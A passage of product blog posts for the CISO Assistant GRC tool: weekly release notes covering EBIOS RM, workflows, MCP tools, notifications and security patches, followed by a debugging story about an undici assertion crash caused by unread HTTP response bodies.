**@amrutadotorg**, who makes their first contribution with this update. --- For full details, see the [v4.1.1 release notes](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.1.1) on GitHub. --- ### What's New in CISO Assistant — Week 42, 2026 (v4.1.0) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w42 Published: 2026-10-04 Author: intuitem This post covers **v4.1.0**, published on October 3. It is the first minor release of the 4.x line. The headline is a large rework of the EBIOS RM module, which now follows the method's guidance sheets much more closely. The release also adds arithmetic to workflows, extends the MCP server so a risk review can run end to end, and lets non-admins create users. API consumers should read the breaking change on the current-user endpoint. ## EBIOS RM: Closer to the Method PR [#4959](https://github.com/intuitem/ciso-assistant-community/pull/4959) is a long list of improvements across the five workshops. Most of them map to a specific item of the ANSSI method, so studies built in CISO Assistant are easier to defend in a review. **Workshop 1 — framing the study** - **Protection marking** — a study can carry a classification level. It shows as a badge on the study and the Workshop 1 page, is repeated in the margin of every page of the printed report, and is available as a column and filter on the studies list. - **Study frame** — objectives, constraints and hypotheses, ETA and due date, and a link to a RACI matrix. The RACI matrix can be created inline by typing a name, and starts with the default roles. The frame appears on an always-visible card, in the report and in the XLSX export. - **Executive summary** — the observation field becomes the study's executive summary and comes first in the report. **Workshop 2 — risk origins** - **Target objective categories** on RO/TO couples, with six editable defaults from the method's guidance. - **Pertinence computed from motivation and resources** through the study's risk matrix, configurable per matrix. - **RO/TO radar** with two views, by risk origin or by target objective category. The most relevant couples sit at the centre and retained couples are shown in red. **Workshop 3 — strategic scenarios** - **Forced gravity** on a strategic scenario is carried through to attack paths, operational scenarios and the risk assessment, with a pin marker so you can see where a value was set by hand. - **Stakeholder criticality panel** that compares entity defaults, current and residual values, and pins intentional changes. **Workshop 4 — operational scenarios** - **Kill-chain steps are now graph nodes** with stable identities. Antecedents link steps to steps (existing data is migrated), the same elementary action can appear more than once in an operating mode, and each step can point to supporting assets. - **Four likelihood methods** — two express variants (direct estimate, or the most likely operating mode), standard and advanced. The standard method rates a success probability and technical difficulty per step and rolls them up along the graph. AND steps take the weakest branch. Cumulative values update live on each node and the critical path is highlighted. The scenario's likelihood is that of its most likely operating mode. - **Switching methods is reversible** — likelihoods typed by hand are kept aside rather than overwritten, and you are asked to confirm before leaving the direct estimate. - **Forced likelihood** on an operational scenario wins over the computed one. - **A default attack-sequence catalogue** — the EBIOS RM "standard attack sequence" is loaded automatically as a TTP catalogue: four phases, eight categories, 32 observed techniques. The elementary-action form has a technique autocomplete that works over any TTP catalogue (EBIOS or MITRE ATT&CK) and prefills the name and description. The rating help from the method is shown in the step editor. **Risk matrices** gain an optional `ebios_rm` section for the RO/TO scales, the success-probability and difficulty scales and the likelihood grid. It is editable in the library builder and reusable across studies; defaults apply when it is absent. The graph editor also gets a step edit modal (pen icon or double-click), and the MCP tools now use step ids for antecedents. Thanks to **@ab-smith**. ## Workflows: a Compute Action Until now, `{{ }}` in a workflow only substituted values, and the only computed step was a date offset. A new **Compute** action evaluates [CEL](https://cel.dev/) expressions, so a workflow can compute a risk score from likelihood and impact, a ratio between two counts, a loop counter, or an SLA chosen by severity (PR [#4936](https://github.com/intuitem/ciso-assistant-community/pull/4936)). - A compute step is a list of rows, each a variable name and an expression. Rows run in order and can use earlier rows. They see the same context as templating: variables, the outputs of previous nodes, the payload, and the loop item and index. - Helpers include `sum`, `avg`, `min`, `max`, `round`, `floor`, `ceil` and `abs`. `min` and `max` also work on ISO dates. - The editor shows a live preview next to each row — the result and its type, or the engine's own error — evaluated on the server. - Syntax errors and reserved names are caught when the workflow is published. Runtime errors such as division by zero fail the step without retrying. - AI provenance fencing follows values through compute steps, so a value derived from an AI answer is still blocked from fenced fields. Thanks to **@nas-tabchiche**. ## MCP: a Full Risk Review It was not possible to run a qualitative risk review end to end through the MCP server: some tools sent values the backend rejected, and others lacked fields the backend accepted (PR [#4939](https://github.com/intuitem/ciso-assistant-community/pull/4939)). - **Applied controls** use the real status values, with the old `planned` and `inactive` mapped to their equivalents. They can be created with a reference control (by UUID, URN, ref_id or name), assets, owner, priority, ref_id and CSF function. - **Risk scenarios** accept qualifications (as C/I/A/D/T/P letters, names or UUIDs) and an owner, and the inherent and residual probability and impact, treatment and justification can be set at creation. - **Risk assessments and perimeters** can now be updated, with new `update_risk_assessment` and `update_perimeter` tools. Risk tolerance is accepted as a matrix index or a risk-level name. - **Owners and assignees** accept an actor UUID, an email or a name. The tools used to expect actor ids while the only lookup returned user ids, which caused 400 errors. Thanks to **@JohnGanem**. ## Delegated User Creation (Pro) Creating a user used to be reserved to global administrators: a domain administrator could add a user to a group, but could not create the user. Pro editions now have a built-in **Global - User creator** group, enabled by default (PR [#4960](https://github.com/intuitem/ciso-assistant-community/pull/4960)). Its members can create users and see the user list, but cannot assign groups at creation, nor edit, deactivate or delete users. A domain manager with this role can then add the new user to groups in their own domain. Service accounts can use it too, and the role can be turned off in the configuration. Thanks to **@eric-intuitem**. ## Breaking Change: the Current-User API **If you call `GET /api/iam/current-user/`, update your client.** On an instance with 10,000 domains the response was large enough to make the interface slow. v4.1.0 stops repeating the same permission list for every folder (PR [#4950](https://github.com/intuitem/ciso-assistant-community/pull/4950)): - a new `permission_sets` array lists each distinct set of permission codenames once; - `domain_permissions` now maps each folder ID to an index in that array instead of holding the codenames. To get a folder's codenames, read `permission_sets[domain_permissions[folder_id]]`. The CISO Assistant interface is updated accordingly. Thanks to **@eric-intuitem**. ## TPRM, Assets and Localisation - **Export entity assessments** — the entity assessments list can be exported to CSV and XLSX. The export follows the current filters, search and domain permissions, and includes the entity, solution, questionnaire, status, completion, review progress, dates, criticality, conclusion, author, reviewer and representative (PR [#4926](https://github.com/intuitem/ciso-assistant-community/pull/4926)). Thanks to **@Mohamed-Hacene**. - **Asset dependency map** — the experimental asset board gets a second mode focused on a single asset. Double-click an asset to explore its dependency chain or connected assets, adjust the link depth, and create, link or unlink assets from the map. Assets you are not allowed to see appear without identifying information (PR [#4967](https://github.com/intuitem/ciso-assistant-community/pull/4967)). Thanks to **@ab-smith**. - **German email templates** — German users received the built-in notifications in English. All 29 templates are now translated, with correct German singular and plural for durations (PR [#4941](https://github.com/intuitem/ciso-assistant-community/pull/4941)). Thanks to **@hlederhaas**. - **Czech localisation** — missing terms are translated in line with the new Czech Cybersecurity Act No. 264/2025 Coll. and its Decree No. 409/2025 Coll. (PR [#4910](https://github.com/intuitem/ciso-assistant-community/pull/4910)). Thanks to **@zdenek-pergl**. ## Framework & Library Updates - **BSI C5:2026** — the 2026 edition of the German Federal Office for Information Security's Cloud Computing Compliance Criteria Catalogue, in English and German (PR [#4923](https://github.com/intuitem/ciso-assistant-community/pull/4923)). Welcome to **@tobmay**, who makes their first contribution with this framework. --- For full details, see the [v4.1.0 release notes](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.1.0) on GitHub. --- ### What's New in CISO Assistant — Week 41, 2026 (v4.0.8 – v4.0.9) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w41 Published: 2026-10-01 Author: intuitem This post covers two releases published on September 30: **v4.0.8**, which carries the changes, and **v4.0.9**, a security-only patch released an hour later. The headline is custom score scales on audits. There are also two framework updates, a more consistent applied-control page, faster autocomplete fields, and a licensing fix that administrators on v4.0.7 should read. ## Custom Score Scales Without Cloning the Framework Until now, an audit used the scoring scale of its framework. If your organisation scores on 1 to 4 and the framework scores on 0 to 100, the usual workaround was to clone the framework and edit its scale, then maintain the clone. v4.0.8 moves the scale onto the audit (PR [#4915](https://github.com/intuitem/ciso-assistant-community/pull/4915)): - **Presets or a custom range** — pick one of the standard presets (0–100, 0–5, 1–5, 1–4, 0–3) or define your own minimum and maximum. Each score level can have a name and a description, with translations, and they are shown in the user's language with a fallback when a translation is missing. - **Organisation defaults** — General Settings has a default scale, and eligible new audits start with it. - **The framework still has the last word** — when a framework defines its own scale, it limits the options you get. - **Changing the range on a scored audit** — you can change the scale of an audit that already has scores. CISO Assistant lists the scores that will be affected and, once you confirm, converts them proportionally to the new range. Nothing is converted silently. The scale is kept in domain export and import, and the mapping engine accounts for it. Thanks to **@ab-smith**. ## Framework & Library Updates - **SCF 2026.3** — the Secure Controls Framework moves to release 2026.3, with a mapping from SCF 2025.2.2 so existing work can be carried over. The library is generated by a new conversion script that turns the official SCF workbook into a CISO Assistant library. Deprecated controls are kept but marked non-assessable (PR [#4921](https://github.com/intuitem/ciso-assistant-community/pull/4921)). - **ASD Essential Eight, November 2023** — a new implementation of the Essential Eight Maturity Model, with its three maturity levels and assessable requirements across the eight mitigation strategies. The existing library is relabelled as the legacy model and points to its successor, and a transition mapping links the two, so audits on the old model can be moved to the new one (PR [#4937](https://github.com/intuitem/ciso-assistant-community/pull/4937)). Both thanks to **@ab-smith**. ## Applied Controls: Every Tab Can Link The tabs at the bottom of an applied control were inconsistent. Evidence and Tasks had both a _create_ and a _select existing_ button. Documents could only create. Findings, Assets and Incidents had no button at all, so users concluded the link was impossible. In fact it was possible, but only from a collapsed section of another form. All of these tabs now have both buttons (PR [#4826](https://github.com/intuitem/ciso-assistant-community/pull/4826)). Creating an object from a tab links it to the control automatically. For documents, the fix also closes a silent failure: the API answered `200` to a request to link an existing document but did not create the link. Thanks to **@Claquetteuuuh**. ## Faster Fields and a Wider Asset Board - **Autocomplete loads in batches** — selection fields such as those on requirement assessments and risk scenarios no longer fetch every option up front. Results arrive in batches, a count shows when more exist, and a hint suggests scrolling or refining the search. Results also show more context, such as category, folder or assessment, so two items with the same name can be told apart (PR [#4920](https://github.com/intuitem/ciso-assistant-community/pull/4920)). - **Assets from other domains on the asset board** — the experimental asset board shows linked assets that live in other folders, with markers on cross-folder links and placeholders for assets you are not allowed to see. You can search for assets in other folders and pin them to the board. The board can arrange itself, and it remembers pinned assets between visits. Link changes and batch creation check folder permissions (PR [#4919](https://github.com/intuitem/ciso-assistant-community/pull/4919)). - **A faster current-user endpoint** — the endpoint that returns the signed-in user and their folder permissions computes those permissions more efficiently (PR [#4945](https://github.com/intuitem/ciso-assistant-community/pull/4945), thanks to **@monsieurswag**), and the Enterprise layout now loads the same way as Community (PR [#4946](https://github.com/intuitem/ciso-assistant-community/pull/4946)). Thanks to **@ab-smith** unless noted. ## Licensing: Readers No Longer Count as Editors **If you upgraded to v4.0.7, check your seat count.** The notification centre introduced in v4.0.7 gave every reader permission to edit and delete their notifications. Seat counting treats any edit or delete permission as editor access, so readers started to be counted as editors. v4.0.8 removes those permissions from the baseline reader role (readers can still see their notifications) and excludes notification permissions from the editor check (PR [#4947](https://github.com/intuitem/ciso-assistant-community/pull/4947)). Thanks to **@ab-smith**. ## Security **v4.0.9 updates PyJWT** to fix CVE-2026-102268, rated critical. The maintainers state that the vulnerability cannot be exploited in CISO Assistant's setup, but they shipped the fix so the container images carry no critical finding. SSO was tested manually after the update (PR [#4952](https://github.com/intuitem/ciso-assistant-community/pull/4952)). Thanks to **@eric-intuitem**. ## Bug Fixes - **Delete previews tell the truth about TPRM audits** — deleting an entity assessment said its audit would _not_ be deleted, then deleted it. The preview now lists the audit as deleted, and handles audits in enclave folders correctly: an empty enclave folder is removed with its last audit, and sibling audits are kept. Batch deletion behaves the same way (PR [#4818](https://github.com/intuitem/ciso-assistant-community/pull/4818)). Thanks to **@Axxiar**. - **Cmd/Ctrl+click opens a new tab, and only that** — in list views, a modified click on a row or on the view and edit icons opened the page in a new tab _and_ navigated the current one. Modified clicks now follow the browser's normal behaviour, which matters on a Mac trackpad, where there is no middle click (PR [#4943](https://github.com/intuitem/ciso-assistant-community/pull/4943)). Thanks to **@Spaghetto784**. - **Year filter on evidence revisions** — the revisions list had a Labels filter that did nothing, because revisions have no labels. It is replaced with a Year filter on the creation date (PR [#4925](https://github.com/intuitem/ciso-assistant-community/pull/4925)). Thanks to **@Spaghetto784**. - **Breadcrumbs after creating an object** — after creating an audit and switching to table or flash mode, the audit's name was missing from the breadcrumbs, so there was no way back to it (PR [#4924](https://github.com/intuitem/ciso-assistant-community/pull/4924)). Thanks to **@martinzerty**. - **The N+1 benchmark cleans up after itself** — the benchmark command added in v4.0.3 now rolls back its temporary data when a run succeeds, and supports runs with a single object (PR [#4780](https://github.com/intuitem/ciso-assistant-community/pull/4780)). Thanks to **@monsieurswag**. --- For full details, see the [v4.0.8](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.0.8) and [v4.0.9](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.0.9) release notes on GitHub. --- ### What's New in CISO Assistant — Week 40, 2026 (v4.0.7) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w40 Published: 2026-09-27 Author: intuitem This post covers one release, **v4.0.7**, published on September 26. It came out inside ISO week 39, after last week's post had gone out, so it gets its own post instead of a third addendum. It is a patch number on a minor-sized release: a notification centre, a risk trajectory view, a rebuilt X-rays page, per-user module visibility, Mermaid diagrams, and another round of workflow enablers. ## A Notification Centre Until now, CISO Assistant reached you by email or not at all. v4.0.7 adds an in-app **notification centre** (PR [#4867](https://github.com/intuitem/ciso-assistant-community/pull/4867)): a bell with an unread counter, an inbox you can filter, read/unread state, and batch actions from a context menu. Each notification shows who it was addressed to, and notifications sent to a team are labelled as team notifications, so you can tell "this is mine" from "this went to everyone in my team". Notifications cover deadline reminders and events across audits, applied controls, evidence, security exceptions, validation flows and tasks. Old notifications are cleaned up automatically, so the inbox does not keep growing. **The channels are configurable in Settings.** In-app and email are separate channels, and four new email templates come with them. **Administrators: the per-template email toggles added in week 34 now live in Notification Settings.** Check them after upgrading if you had switched any templates off. User profiles also list the teams a user belongs to. The centre ships behind its own feature flag. Thanks to **@ab-smith**. ## Risk Trajectory: Watch a Risk Assessment Move A risk assessment records three positions for each scenario: inherent, current and residual. The matrix shows where each scenario sits. It does not show how far each one has to travel, or whether the controls meant to move it will arrive on time. The new **Risk Trajectory** view, opened from a risk assessment, animates that movement (PR [#4916](https://github.com/intuitem/ciso-assistant-community/pull/4916)). Stage playback moves scenarios from inherent to current to residual, with speed controls and a scrubber. The date-based projection is the more useful half: it uses the ETAs of the applied controls to project each scenario's risk level forward in time and charts the result, so "we'll be at residual by Q2" becomes a claim you can check. Indicators mark scenarios that got worse, controls that are overdue or have no ETA, and progress toward the residual target. If the control data behind the projection cannot be loaded, the view says the projection is unavailable. It does not show a projection built from partial data. Thanks to **@ab-smith**. ## X-rays, Reworked and Widened X-rays is the page that tells you what is wrong with your data. Three PRs change it. **A new check, and a page built for triage** (PR [#4884](https://github.com/intuitem/ciso-assistant-community/pull/4884)). The new warning flags **applied controls marked active that have no evidence attached**, in audits and risk assessments alike. A control that is "active" on paper with nothing to back it up is the first thing an auditor finds, so it is better that you find it first. The page itself is now a triage list. Domains are sorted worst first, searchable and collapsed by default, and each one opens on the tab with its most severe issues. Domains and assessments with nothing to report are no longer listed. Objects affected by a rule appear in a paginated, searchable table with the columns you need for triage: status, ETA, priority, result and treatment. The vocabulary changed as well: X-rays now reports _issues_ and _occurrences_, because _finding_ already means something else in the product. Thanks to **@Mohamed-Hacene**. **Governance and operations checks** (PR [#4913](https://github.com/intuitem/ciso-assistant-community/pull/4913)). X-rays used to look only at compliance and risk. It now also checks governance and operations: objectives, issues, evidence, findings, controls and tasks, grouped by domain and severity with links to the objects involved. Folder summaries and totals cover all four areas. You can also run X-rays on a single risk or compliance assessment, subject to your permissions. **Quality checks on requirement assessments, available to workflows** (PR [#4888](https://github.com/intuitem/ciso-assistant-community/pull/4888)). The audit rules were rewritten to flag problems with controls, evidence, assessment status, observations, justifications and consistency. They can now be queried for a single requirement assessment through the API. Workflow read actions can include the result as an optional `quality_check` field, so a workflow can branch on "this requirement has problems" without reimplementing the rules. Both thanks to **@ab-smith**. ## Hide the Modules You Don't Use Feature flags have been organisation-wide: a module enabled for the organisation was visible to everyone. Users can now **hide modules from their own view** under a new **Modules** section in their settings (PR [#4870](https://github.com/intuitem/ciso-assistant-community/pull/4870)). The organisation still sets the limits. You can turn off what the organisation enabled, but you cannot turn on what it disabled, and modules disabled at organisation level are marked as such. Modules are grouped, a counter shows how many are visible, and one button restores the organisation's settings. Two updates to the same preferences at once no longer overwrite each other. A second-line reviewer who never touches TPRM or privacy no longer has to scroll past them. Thanks to **@ab-smith**. ## Workflows That Work on Documents Last week's release let workflows collect evidence and record measurements. This one lets them work on managed documents, tasks and validations (PR [#4892](https://github.com/intuitem/ciso-assistant-community/pull/4892)). - **Documents** — workflows can create, read and update managed documents and their revisions, including drafts created from a template. Document containers gain batch updates for attributes, labels and folders, and batch deletion. - **Tasks and validation flows** can be created from a workflow. - **Richer requirement reads** — reading a requirement now also returns its observations, applied controls and evidence. The quality checks flag missing evidence or action plans, and evidence that is stale or unusable. - **Better AI blocks** — AI text steps accept longer content, response limits and timeouts are configurable, and truncated outputs are reported as incomplete instead of being passed on as if they were whole. Large outputs are supported, and records that had to be dropped are reported. A new **AI evidence review** template shows how these pieces fit together. It reviews the evidence of an audit and writes its findings into a document linked to the audit. It **does not change results or scores**: the AI writes the review, and people decide what happens to the audit. Thanks to **@ab-smith**. ## Mermaid Diagrams in Documents and PDFs Markdown fields now render **Mermaid** diagrams, and so do policy document PDFs (PR [#4906](https://github.com/intuitem/ciso-assistant-community/pull/4906)). An approval flow or a data-flow sketch in a policy no longer has to be exported as an image and uploaded. PDF layout keeps a diagram on a single page instead of splitting it across a page break. A diagram that fails to render, or that exceeds the rendering limits, is shown as its source code, so it is never dropped silently. In PDFs, the diagrams are rendered natively through Typst. Thanks to **@ab-smith**. ## Threat Modeling: Real Techniques on Operational Scenarios EBIOS RM operational scenarios could be linked to threats, but not to the attacker techniques behind them. They can now be linked to actual **TTP techniques**, such as MITRE ATT&CK or ATLAS entries (PR [#4878](https://github.com/intuitem/ciso-assistant-community/pull/4878)). Techniques appear in the scenario form, on the detail page and in EBIOS RM reports, with links to each technique's description. They survive domain export and import, and operational scenarios can be filtered by threat and by technique. The help text now explains the difference between a threat and a technique. Removing a threat from an elementary action also works again: the field was optional in the backend but required in the form (PR [#4880](https://github.com/intuitem/ciso-assistant-community/pull/4880), thanks to **@Mohamed-Hacene**). Thanks to **@ab-smith**. ## Smaller Features - **Download the audit log** (Pro) — export the audit log as CSV or XLSX, either the current filtered view or the whole log. Exports include timestamps, actor labels, changes and folder paths, and password changes are masked. An XLSX export larger than the configured row limit is rejected with an error that states the limit (PR [#4908](https://github.com/intuitem/ciso-assistant-community/pull/4908)). - **Batch ETA on applied controls** — select several controls and set one ETA for all of them (PR [#4914](https://github.com/intuitem/ciso-assistant-community/pull/4914)). This fits well with the trajectory view above. - **Applied controls in audit import/export** — CSV and JSON audit exports now include the applied controls linked to each requirement. The data wizard and CLI import accept them by reference or by name, with common separators, and can create missing controls when you allow it. References that cannot be resolved produce a warning, not a failed import (PR [#4887](https://github.com/intuitem/ciso-assistant-community/pull/4887)). - **Control status on findings binders** — the binder view shows each applied control's status as a translated badge instead of a coloured dot you had to hover over (PR [#4907](https://github.com/intuitem/ciso-assistant-community/pull/4907)). - **Third-party audit filter** — the audit list can be filtered on whether an audit is a third-party one (PR [#4896](https://github.com/intuitem/ciso-assistant-community/pull/4896)). - **Onboarding can be dismissed for good** — the first-login onboarding saves its dismissal, which matters for users who only ever work in the global domain (PR [#4898](https://github.com/intuitem/ciso-assistant-community/pull/4898)). All thanks to **@ab-smith**. ## Security **django-allauth moves to 65.19.4** (PR [#4902](https://github.com/intuitem/ciso-assistant-community/pull/4902)). This closes two ways around the login rate limit. In 65.19.3, concurrent requests can no longer push attempts past the configured limit. In 65.19.4, `admin` and `ádmin` no longer count against separate throttle keys for the same account. Thanks to **@tchoumi313**. ## Bug Fixes - **SSO users are no longer signed out by a re-authentication prompt** — when a sensitive action such as enabling MFA or creating a personal access token needed re-authentication, SSO users were treated as local accounts and signed out with a warning to re-enter a password they don't have. The check now resolves the user properly, and local accounts behave as before (PR [#4895](https://github.com/intuitem/ciso-assistant-community/pull/4895)). Thanks to **@Claquetteuuuh**. - **Mappings are consistent across workers** — each server worker kept its own cached copy of the mapping graph, and only the worker that loaded a new mapping library refreshed its copy. "Apply a mapping" therefore succeeded or failed depending on which worker handled the request: 4 times out of 12 in the reproduction. The engine is now built per request, at a measured cost of about 200 ms on actions that are always user-initiated. An audit created from a baseline with no mapping path is now created unfilled instead of failing (PR [#4874](https://github.com/intuitem/ciso-assistant-community/pull/4874)). Thanks to **@Claquetteuuuh**. - **Duplicated risk assessments keep inherent risk** — the duplicate copied current and residual risk but not inherent risk, so the inherent column of every copy showed `--` (PR [#4900](https://github.com/intuitem/ciso-assistant-community/pull/4900)). Thanks to **@Claquetteuuuh**. - **Unknown implementation groups are dropped** — creating an audit through the API with an implementation group the framework does not define hid every requirement. Selections are now filtered against the framework's own groups (PR [#4901](https://github.com/intuitem/ciso-assistant-community/pull/4901)). Thanks to **@Mohamed-Hacene**. - **Read-only audits show their answers again** — questionnaire answers are visible in read-only mode, table mode stays available on locked audits, and flash mode now applies the same Reader guard as table mode. Before this fix, a Reader could edit answers from flash mode on an unlocked audit (PR [#4894](https://github.com/intuitem/ciso-assistant-community/pull/4894)). Thanks to **@tarkadia**. - **A task template can have several evidences** (PR [#4882](https://github.com/intuitem/ciso-assistant-community/pull/4882)), **object classifications can be edited** and only visible levels are offered (PR [#4886](https://github.com/intuitem/ciso-assistant-community/pull/4886)), **numeric fields use whole-number steps** where it makes sense (PR [#4883](https://github.com/intuitem/ciso-assistant-community/pull/4883)), and **probability and impact badges use their level colours** in dark mode (PR [#4896](https://github.com/intuitem/ciso-assistant-community/pull/4896)). Thanks to **@ab-smith**. - **Performance and response handling** — fewer unneeded API calls on risk scenario and requirement assessment pages, more reliable handling of failed and optional responses, and database backups that download as compressed `.json.gz` (PR [#4911](https://github.com/intuitem/ciso-assistant-community/pull/4911)). Thanks to **@ab-smith**. Record imports now use the edition-specific serializer when one is configured (PR [#4897](https://github.com/intuitem/ciso-assistant-community/pull/4897)). Thanks to **@tchoumi313**. ## Library Updates - **CyFun 2025** — the implementation guidance for ID.RA-01.1 was truncated in the official ESSENTIAL and IMPORTANT booklets. It is now restored from the BASIC booklet in English and French, and the missing Dutch section was translated (PR [#4885](https://github.com/intuitem/ciso-assistant-community/pull/4885)). Thanks to **@tarkadia**. - **Lowercase URNs** — references in the ASF baseline, ISO 27001:2013 and French NIS-1 libraries are now all lowercase, and URNs are normalised on load, so library comparisons no longer show case-only differences. Linked controls and assignments are unchanged (PR [#4912](https://github.com/intuitem/ciso-assistant-community/pull/4912)). Thanks to **@ab-smith**. --- For full details, check out the [v4.0.7 release notes](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.0.7) on GitHub. --- ### The bug that only lives between 64 and 128 KB URL: https://intuitem.com/bug-between-64-and-128-kb Published: 2026-09-26 Author: Abderrahmane Smimite Some bugs crash when you add too much data. This one crashed only when we added _just enough_, and our attempts to stress it with far more data made it go away. It took us a long evening, one corrupted local database and a lot of wrong theories to understand why. By the time the reproduction finally crashed on cue, the date had rolled over. This is the story of that bug, and why its trigger sits in a window between 64 and 128 KB. ## "The frontend keeps dying" It started with a message every self-hosted product dreads: a customer's CISO Assistant frontend kept going down. Opening one particular risk scenario was enough. The container restarted, the page went blank, and everyone else on the instance got errors until it came back up. Around the same time, a community member opened [GitHub #4903](https://github.com/intuitem/ciso-assistant-community/issues/4903) with the same symptom and did something we're very grateful for: they correlated the frontend and backend logs to the millisecond. Their frontend died 4 ms after sending a request, and a few milliseconds after the backend had finished answering the previous one with a perfectly healthy `200 OK`. The only clue in the log was this: ``` AssertionError [ERR_ASSERTION]: The expression evaluated to a falsy value: assert(!this.paused) at Parser.finish (node:internal/deps/undici/undici:7388:9) at Socket.onHttpSocketEnd (node:internal/deps/undici/undici:7827:34) at Socket.emit (node:events:526:24) at endReadableNT (node:internal/streams/readable:1764:12) Node.js v24.21.0 ``` There isn't a single line of our code in that stack. The assertion fires deep inside undici, the HTTP client that powers Node's built-in `fetch`, from a socket event handler. No `try/catch` anywhere in the application can reach it. When it throws, the Node process simply exits. ## Chasing the wrong suspects In hindsight, the answer was in that log from the start. But when a production instance keeps falling over, you don't start with undici internals. You start with the usual suspects, and we had plenty. **The database looked guilty.** The customer kindly sent us an anonymized profile of their instance: row counts and fan-out statistics for every relation, with no actual content. Two things jumped out. The instance ran on SQLite, which allows only one writer at a time. And some risk scenarios had 65 to 102 assets attached, far more than we usually see. "Too much data somewhere" felt like a reasonable bet. **Then we found a real bug, just not this one.** Those crowded scenarios came from the EBIOS RM workshop 5 sync, which copies assets from an EBIOS study into risk scenarios. We rebuilt the customer's data shape on a scratch database and measured the sync. It ran two queries per duplicate row, and one of them reloaded the entire asset graph every time. At five times the customer's size, it took over two minutes, well past gunicorn's 100-second timeout. We filed it and moved on, a little sheepishly: a slow backend gives you one failed request, not a frontend process that dies. **So we threw more data at it.** A thousand assets on one scenario. Then five thousand. Then a three-level asset hierarchy, with shared "hub" assets that had 59 parents each, just like the customer's. We opened the page, braced ourselves, and nothing happened. Every page loaded fine. We didn't know it yet, but each test we added was moving us further away from the bug. **Finally, we suspected the build.** Maybe production mode behaved differently from dev? We built the production bundle and ran it locally, on the exact Node version from the report: v24.21.0, with the same undici inside. Still nothing. And somewhere in the middle of all this, our local SQLite file decided it was a good moment to corrupt itself. Not our finest evening. ## Going back to the clue After a few hours of this, we did what we should have done first: we took the assertion seriously. The reporter had already found a matching upstream issue, [nodejs/undici#5360](https://github.com/nodejs/undici/issues/5360), and its title said it all: "Uncatchable `AssertionError: assert(!this.paused)` on socket end". The trigger it describes is almost boringly simple. You `fetch()` something, and you never read the response body. So we went looking for responses nobody reads. We didn't have to look far. Here is what the risk-scenario page's server loader did on every visit: ```ts await Promise.all( ['assets', 'threats', 'vulnerabilities', 'security-exceptions'].map(async (key) => { const response = await fetch(`${BASE_API_URL}/${key}/?risk_scenarios=${params.id}`); if (response.ok) { tables[key] = { head: headData(key), body: [], meta: [] }; } }) ); ``` It asks the backend for four full lists, checks that each request succeeded, then throws the answers away. The tables are built with `body: []`, and the table component fetches its own rows in the browser anyway. It's a harmless-looking leftover, the kind of code that survives a dozen refactors because nothing seems wrong with it. Here is what happens inside undici when you do that: 1. The response body arrives and nobody reads it, so undici buffers it in a stream. Once that buffer reaches 64 KiB, the HTTP parser **pauses** to apply backpressure. 2. The backend sends its last byte and closes the connection with a FIN. 3. undici's socket `end` handler calls `parser.finish()`, which asserts the parser isn't paused. It is. The assertion throws from an event handler, nothing can catch it, and the process exits. The list of assets on the scenario that kept crashing was exactly the kind of response that would sit unread. ## Too big to crash Confident we had it, we wrote a ten-line Node script: a tiny HTTP server sends a 1 MB body and closes the connection, and the client fetches it and never reads it. We ran it, waiting for the crash. It survived. That was the moment the whole evening started to make sense. The upstream report used a body of exactly 64 KiB, and not by accident: it's the smallest size that fills undici's buffer and still arrives in a single socket read, together with the FIN. So we swept sizes, five runs each, on Node 24.21.0: | Unread body size | Crashed | | ------------------------------ | ------------ | | 16, 32, 60, 63 KB | 0/5 each | | **64, 65, 70, 80, 100 KB** | **5/5 each** | | 128, 200, 500, 1,024, 3,500 KB | 0/5 each | Below 64 KiB, the body fits in the buffer, the parser never pauses, and the unread response is just a bit of garbage for the collector. Above the window, the parser pauses part-way through the transfer. Reading from the socket stops, so the rest of the data and the FIN wait in the kernel, and undici never sees the FIN while it's paused. The crash needs the pause and the FIN to land in the same read. We measured the upper edge over loopback; upstream notes it gets intermittent over a real network. In our data, each asset added about 600 bytes to that assets list, so the window opens at around 110 assets per scenario. Real assets carry more fields, such as owners, labels and regulatory attributes, so they get there sooner. The customer's busiest scenarios had 65 to 102. Our heroic stress tests, meanwhile, produced 600 KB and 3 MB responses: comfortably too big to ever crash. ## Why it never crashed on our machines The size explained half of it. The other half was a question we hadn't thought to ask: who closes the connection? | | Backend server | After each response | An unread 80 KB body | | ------------- | ------------------------------- | ------------------------------- | ----------------------------- | | Our dev setup | Django `runserver` | keeps the connection open | sits there, paused, forever | | Production | gunicorn, default `sync` worker | closes it (`Connection: close`) | FIN on a paused parser: crash | Our production start script passes `--keep-alive 30` to gunicorn, which looks reassuring. But the default `sync` worker doesn't support keep-alive and quietly ignores it, so every response ends with the connection closing. In dev, `runserver` keeps connections open. No FIN ever arrives, and the unread response just leaks quietly in the background. We could have stared at our laptops for another week without seeing a crash. With both halves in hand, the reproduction took minutes. We started gunicorn with the production flags against a local database, pointed the production frontend build at it, and trimmed our test scenario from 5,000 assets down to 135, about 80 KB of JSON. We opened the page. The process died instantly, with the customer's exact stack trace. It's a strange kind of relief to finally watch your own software crash. A code-review bot later pointed out a sneakier cousin of the bug, and we tested that too. If you fetch several responses in parallel and read them one after another, the later ones sit unread while you deal with the first. After a small first body, reading a second 70 KB one never crashed. After a 3 MB first body, it crashed 10 times out of 10. An `await` on another request between a fetch and its read has the same effect. ## Fixing it for good The obvious fix was one line: read the body, or don't make the request. But once we'd seen the pattern, we found it in more places than we liked. So the fix in [PR #4911](https://github.com/intuitem/ciso-assistant-community/pull/4911) comes in three layers. **First, delete the requests nobody needed.** The risk-scenario page, its edit page and the requirement-assessment page were making 11 lookup requests between them whose answers went straight in the bin. They're gone. The pages are safer and faster, and the backend has less to do. **Second, let go of bodies on purpose.** A small `discardBody()` helper cancels a response's stream, so undici releases it instead of pausing on it. It now runs on error paths, and in the loaders that throw on the first failed response while others are still in flight. **Third, a safety net, because we don't trust ourselves.** Even after an audit, a review bot found call sites we'd missed. Hunting down every one is a game you eventually lose. Every server-side request to our backend passes through SvelteKit's `handleFetch` hook, so that's where the net went. It reads each JSON response in full straight away and hands the loader an in-memory copy. No loader can leave one paused on a connection, however it's written, including the ones nobody has written yet: ```ts export async function bufferJsonResponse(res: Response): Promise { if (!res.body || NULL_BODY_STATUSES.has(res.status)) return res; const mediaType = 